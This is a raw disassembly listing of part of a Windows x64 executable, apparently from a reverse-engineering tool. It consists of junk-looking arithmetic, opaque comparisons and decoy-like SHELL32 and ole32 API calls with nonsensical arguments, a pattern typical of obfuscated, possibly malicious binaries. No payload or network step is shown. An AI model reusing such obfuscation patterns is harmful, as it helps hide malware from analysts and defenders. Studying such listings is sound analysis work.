mov rcx, qword [rsp + 0x4b20]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x2908], eax
jmp 0x14000356c
movzx eax, byte [rsp + 0x50]
cmp eax, 0xb7
jl 0x140003567
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x290c], al
cmp byte [rsp + 0x290c], 0x79
je 0x1400034d1
jmp 0x140003544
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x75211d1b3f97dd
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
lea rcx, [rsp + 0x4b28]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x4b28], rax
mov eax, dword [rsp + 0x28ac]
movzx ecx, al
mov eax, dword [rsp + 0x28cc]
shl eax, cl
mov dword [rsp + 0x28f4], eax
jmp 0x140003567
movabs rax, 0x7e575881ee1ab2
mov rcx, qword [rsp + 0x4ac8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov byte [rsp + 0x51], ILRemoveLastID
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x2910], al
cmp byte [rsp + 0x2910], 0xe
je 0x140003595
cmp byte [rsp + 0x2910], 0x5f
je 0x1400fa662
jmp 0x1400fa697
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov qword [rsp + 0x4b30], rax
mov dword [rsp + 0x2914], 0x1f9f
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x4b38], rax
movabs rax, 0x776605344a7d79
cmp qword [rsp + 0x4b38], rax
je 0x1400035dc
jmp 0x140003665
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28f4]
or ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x28cc]
je 0x140003647
movzx eax, byte [rsp + 0x50]
shl eax, 2
mov byte [rsp + 0x50], al
lea r9, [rsp + 0x163c8]
lea r8, [rsp + 0x50]
lea rdx, str.Spectroscopically_Pimping_bouts
lea rcx, [rsp + 0x28ac]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0x2918], eax
mov rax, qword [rsp + 0x4ac0]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x4b30]
call fcn.1400fa910
nop
jmp 0x140003660
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x28cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
jmp 0x1400fa5c8
cmp dword [rsp + 0x28b4], 0xfa83
ja 0x140003991
movzx eax, word [rsp + 0x858]
add eax, 0xa70
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x51]
sub eax, 0x50
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x73193f9d8dce2a
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x2908]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x28ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
mov eax, dword [rsp + 0x2908]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
sub eax, 0xb7
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x858]
xor eax, 0x599
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4aa0]
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
shl rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
sar rax, 0x3d
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x28ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4aa0], rax
mov eax, dword [rsp + 0x28b4]
add eax, 0x6a
mov dword [rsp + 0x28b4], eax
movzx eax, byte [rsp + 0x50]
add eax, 0xa6
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x858]
sub eax, 0xc8b
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x51]
sub eax, 0x4c
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
movsx eax, byte [rsp + 0x51]
and eax, 0x5b
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
movabs rax, 0x758016c0d1fbf5
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov dword [rsp + 0x2908], eax
mov eax, dword [rsp + 0x2908]
movzx ecx, al
mov eax, dword [rsp + 0x28d8]
shl eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
xor eax, 0xd3
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x2908]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4b40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
or eax, 0x56
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x858]
and eax, 0x6cc
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x51]
sub eax, 5
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b30], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
jmp 0x140003665
movzx eax, word [rsp + 0x858]
sub eax, 0x1c1
cmp eax, 0x9ca
jle 0x140003a53
movzx eax, word [rsp + 0x858]
sub eax, 0x93e
cmp eax, 0x495
jl 0x1400039dc
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
jmp 0x140003a01
mov eax, dword [rsp + 0x28ac]
imul eax, dword [rsp + 0x28cc]
cmp eax, dword [rsp + 0x28f4]
jge 0x140003a01
call qword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x784cad6efa2202
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28d8]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4b48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b48]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
jmp 0x140003a83
movzx eax, word [rsp + 0x858]
add eax, 0x514
cmp eax, 0xbf
jge 0x140003a83
mov rax, qword [rsp + 0x4ac0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rax]
call fcn.1400fa910
nop
cmp dword [rsp + 0x28c0], 0x6617
jb 0x140003d68
movzx eax, word [rsp + 0x858]
sar eax, 5
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b30], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x2908]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
movzx eax, byte [rsp + 0x50]
sub eax, 0x5b
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x2908]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
add eax, 0xda
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x858]
sub eax, 0x1c9
mov word [rsp + 0x858], ax
movabs rax, 0x774f24fc9ba2e9
mov rcx, qword [rsp + 0x4ac8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x2908]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4aa0]
shl rax, cl
mov qword [rsp + 0x4b30], rax
mov eax, dword [rsp + 0x28f4]
movzx ecx, al
mov eax, dword [rsp + 0x28ac]
sar eax, cl
mov dword [rsp + 0x28cc], eax
movabs rax, 0x7bed51c8e95fd3
mov rcx, qword [rsp + 0x4ac8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x51]
sub eax, 0x1f
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x50]
add eax, 0x75
mov byte [rsp + 0x50], al
movabs rax, 0x7ac20b6cc90bf9
mov rcx, qword [rsp + 0x4ac8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x51]
sub eax, 0x20
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x28c0]
sub eax, 0x28
mov dword [rsp + 0x28c0], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4b30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x858]
add eax, 0x399
mov word [rsp + 0x858], ax
jmp 0x140003a83
cmp dword [rsp + 0x28ec], 0x93f9
je 0x140004197
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x2908]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movabs rax, 0x7bf956d4af936c
mov rcx, qword [rsp + 0x4ac8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2908]
movzx ecx, al
mov eax, dword [rsp + 0x28d8]
shl eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x4b50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b50]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x7e785b4296d0fc
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
and eax, 5
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x858]
add eax, 0x34d
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x51]
sub eax, 0x69
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x50]
add eax, 0xa8
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rsp + 0x4b58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b58]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28bc]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4b60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b60]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2908], eax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x858]
and eax, 0x685
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x51]
add eax, 0x70
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x28ec]
add eax, 0x93
mov dword [rsp + 0x28ec], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
movzx eax, byte [rsp + 0x50]
add eax, 0xfc
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x7e956e7078ee1d
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x2908]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x858]
sub eax, 0x282
mov word [rsp + 0x858], ax
movzx eax, byte [rsp + 0x50]
xor eax, 0xb3
mov byte [rsp + 0x50], al
movsx eax, byte [rsp + 0x51]
shl eax, 5
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x50]
or eax, 0x48
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x28bc]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4b68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b68]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2908], eax
movabs rax, 0x785291b53f45c6
mov rcx, qword [rsp + 0x4ac8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movabs rax, 0x7171f9c946a57f
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
jmp 0x140003d68
mov eax, dword [rsp + 0x2908]
mov dword [rsp + 0x291c], eax
cmp dword [rsp + 0x291c], 0
je 0x1400041b4
jmp 0x1400042a3
movzx eax, word [rsp + 0x858]
mov word [rsp + 0x85c], ax
mov eax, dword [rsp + 0x28d8]
mov dword [rsp + 0x2920], eax
cmp dword [rsp + 0x2920], 0
je 0x1400041ee
cmp dword [rsp + 0x2920], 0x2e72
je 0x14000423f
jmp 0x140004293
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x52], al
lea rax, [rsp + 0x28f4]
mov qword [rsp + 0x4b70], rax
mov rax, qword [rsp + 0x4ac8]
mov qword [rsp + 0x4b78], rax
mov dword [rsp + 0x2924], 0x6fa8
lea rax, [rsp + 0x28bc]
mov qword [rsp + 0x4b80], rax
mov dword [rsp + 0x2928], 0x4d51
jmp 0x140004293
call qword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [rsp + 0x292c], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b30], rax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x50]
mov r8w, 0x86
movzx edx, byte [rsp + 0x50]
mov ecx, dword [rsp + 0x28bc]
call fcn.1400fc1b0
nop
mov dword [rsp + 0x2930], 0x82db
jmp 0x140004327
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
sub eax, 0x5b
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x2934], al
cmp byte [rsp + 0x2934], 0x2a
je 0x1400042f0
cmp byte [rsp + 0x2934], 0xcf
je 0x1400042ff
jmp 0x140004327
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x2938], eax
jmp 0x140004327
movsx eax, byte [rsp + 0x52]
add eax, 0x21
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x28ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
or rax, rcx
cmp rax, qword [rsp + 0x4ac8]
jne 0x140004397
mov eax, 0x739
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4b30]
movzx ecx, al
mov rax, qword [rsp + 0x4aa0]
shl rax, cl
mov qword [0x140178e60], rax
mov dword [rsp + 0x293c], 0xc7b1
mov dword [rsp + 0x2940], 0xb164
mov rax, qword [rsp + 0x4ac8]
mov qword [rsp + 0x4b88], rax
mov dword [rsp + 0x2944], 0x1bb5
lea rax, [rsp + 0x28cc]
mov qword [rsp + 0x4b90], rax
lea rax, [rsp + 0x2908]
mov qword [rsp + 0x4b98], rax
movsx eax, word [rsp + 0x860]
mov dword [rsp + 0x2948], eax
cmp dword [rsp + 0x2948], 0x13f
je 0x1400043f0
cmp dword [rsp + 0x2948], 0x18e
je 0x140004411
jmp 0x1400044e0
movzx r8d, word [rsp + 0x860]
movzx edx, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4b78]
call fcn.1400fb900
nop
jmp 0x1400044e0
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4aa0]
shr rax, cl
mov qword [rsp + 0x4b30], rax
movzx eax, byte [rsp + 0x50]
cmp eax, 9
je 0x1400044e0
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0x294c], eax
cmp dword [rsp + 0x294c], 0x6b20
je 0x1400044c0
cmp dword [rsp + 0x294c], 0x753b
je 0x14000446a
jmp 0x1400044e0
mov rax, qword [rsp + 0x4b90]
mov ecx, dword [rsp + 0x28f4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
lea rcx, [rsp + 0x4b00]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0x2918], eax
movzx eax, word [rsp + 0x858]
and eax, 0x6ed
mov word [rsp + 0x85c], ax
call qword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [rsp + 0x2918], eax
jmp 0x1400044e0
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov byte [0x14017a050], al
movzx eax, word [rsp + 0x85c]
mov dword [rsp + 0x2950], eax
cmp dword [rsp + 0x2950], 0x93b
je 0x14000451c
jmp 0x140004552
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x2908]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
lea rcx, [rsp + 0x2954]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0x292c], eax
jmp 0x1400fa51f
lea rax, [0x140178e60]
mov qword [rsp + 0x4ba8], rax
movsx eax, word [rsp + 0x860]
mov dword [rsp + 0x2958], eax
cmp dword [rsp + 0x2958], 0x1f2
je 0x1400045f0
cmp dword [rsp + 0x2958], 0x2bc
je 0x14000458f
jmp 0x1400046f0
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
movzx r8d, word [rsp + 0x860]
movzx edx, byte [rsp + 0x50]
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rax]
call fcn.1400fb900
nop
jmp 0x1400046f0
lea rax, [rsp + 0x4ac0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], SHTestTokenMembership
lea r9, [rsp + 0x28d8]
mov r8d, reloc.SHELL32.dll_SHDoDragDrop
lea rdx, [rsp + 0x2908]
lea rcx, [rsp + 0x162d8]
call qword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [rsp + 0x2954], eax
movzx eax, word [rsp + 0x85c]
and eax, 0xb47
movzx ecx, word [rsp + 0x858]
cmp eax, ecx
jne 0x1400046f0
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov qword [rsp + 0x4bb0], rax
movabs rax, 0x74a26b7b819b51
cmp qword [rsp + 0x4bb0], rax
je 0x140004676
jmp 0x1400046c0
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [0x14017a050]
add eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
movzx r9d, byte [rsp + 0x52]
movzx r8d, byte [rsp + 0x50]
mov rax, qword [rsp + 0x4ae0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ba0]
movzx ecx, byte [rax]
call fcn.1400fbea0
nop
jmp 0x1400046f0
mov eax, dword [rsp + 0x28f4]
mov rcx, qword [rsp + 0x4b90]
mov qword [rsp + 0x4bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bb8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x85c]
sar eax, cl
mov word [0x140178e68], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
xor eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, word [rsp + 0x85c]
movzx ecx, word [0x140178e68]
or eax, ecx
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x50]
sub eax, 0x5f
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x28e8]
sub eax, 0x6e
mov dword [rsp + 0x28e8], eax
movsx eax, word [rsp + 0x860]
and eax, 0x681
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b90]
mov qword [rsp + 0x4bc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bc0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x28ac], eax
mov eax, dword [rsp + 0x2908]
mov ecx, dword [rsp + 0x28bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4ac8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
